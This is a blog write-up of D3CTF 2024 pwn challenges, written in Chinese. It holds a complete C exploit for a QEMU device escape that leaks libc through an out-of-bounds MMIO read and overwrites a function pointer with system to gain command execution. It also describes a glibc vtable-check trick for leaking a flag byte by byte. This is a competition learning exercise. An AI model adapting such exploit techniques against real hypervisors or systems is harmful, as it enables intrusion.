2024 d3ctf pwn wp

比赛就做了一个签到一个php,补一下另外两道能做的

D3BabyEscape

qemu pwn基础知识

见这个博客👉qemu pwn-基础知识

数据结构关系图,以blizzardctf2017的strng为例:

  • TypeInfo:定义类、实例初始化函数
  • class_init:初始化父类
  • instance_init:初始化子类(对应具体设备)
  • realize:初始化实例(使用)

逆向

看启动脚本,设备叫l0dev

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
./qemu-system-x86_64 \
-L ../pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-device l0dev

滤一下字符串

  • l0dev可以定位到ldev_info

    继而定位到class_init

  • l0dev_realize可以定位到realize

  • l0dev_instance_init可以定位到instance_init

  • 剩下的mmio和pmio的read和write函数也可以通过字符串定位

还原的l0dev_state结构体:

  • l0dev_mmio_read:读有一个acpi_index的偏移
  • l0dev_mmio_write:flag设置后可带acpi_index偏移写
  • l0dev_pmio_read:读出数据为0x29A时可递增flag
  • l0dev_pmio_write:
    • addr为0x40时调用rand_r
    • addr为0x80时设置acpi_index
    • 其他情况正常写

exp

l0dev_class_init可以看出vendor_id是0x1234,device_id是0x1919

1
2
/ # lspci
00:04.0 Class 00ff: 1234:1919
1
2
/ # cat /proc/ioports
c000-c0ff : 0000:00:04.0

得到PMIO地址

流程:

  • mmio_write设置acpi_index
  • mmio_read溢出泄漏r_rand
  • pmio_write正常写0x29A
  • pmio_read读0x29A设置flag
  • pmio_write溢出写r_rand为system
  • mmio_write调用r_rand命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>


uint32_t pmio_base = 0xc000;

uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr) | ((uint64_t)inl(pmio_base + addr + 4) << 32);
}

void pmio_write(uint32_t addr, uint64_t val)
{
outl(val & 0xffffffff, pmio_base + addr);
outl(val >> 32, pmio_base + addr + 4);
}


char *mmio_mem;

uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t *)(mmio_mem + addr));
}

void mmio_write(uint64_t addr, uint64_t val)
{
*((uint64_t *)(mmio_mem + addr)) = val;
}


int main()
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
iopl(3);

mmio_write(0x80, 0x1c);
uint64_t libcbase = mmio_read(0xf8) - 0x46780;
printf("libcbase : %llx\n", libcbase);

uint64_t system = libcbase + 0x50d70;
pmio_write(0, 0x29a);
pmio_read(0);

pmio_write(0xf8, system);
mmio_write(0x40, 0x6873);
return 0;
}

write_flag_where

可以将flag的某一字节写到libc代码段,输入不合法就退出,合法可以一直改(比赛的时候还看错题了以为只能改一次)

  • 第一次改0x8ca1d+libc_base+3,_IO_vtable_check中取报错字符串的偏移

    1
    2
    3
    4
    5
    6
    void attribute_hidden
    _IO_vtable_check (void)
    {
    /* …… */
    __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
    }
  • 第二次改libc_base+0x907a0+5,实际上是__uflow里调用的IO_validate_vtable取__io_vtables地址的部分

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
    uintptr_t ptr = (uintptr_t) vtable;
    uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
    if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
    /* The vtable pointer is not in the expected section. Use the
    slow path, which will terminate the process if necessary. */
    _IO_vtable_check ();
    return vtable;
    }

两次改完之后再scanf调用__uflow时会因为vtables偏移不对报错,根据报错字符串的移位可以判断flag字符是什么

懒得搓exp了就这样吧,一直想改exit(因为以为只能改一次)能做出来才怪


2024 d3ctf pwn wp
http://akaieurus.github.io/2024/04/29/2024d3ctf-pwn-wp/
作者
Eurus
发布于
2024年4月29日
许可协议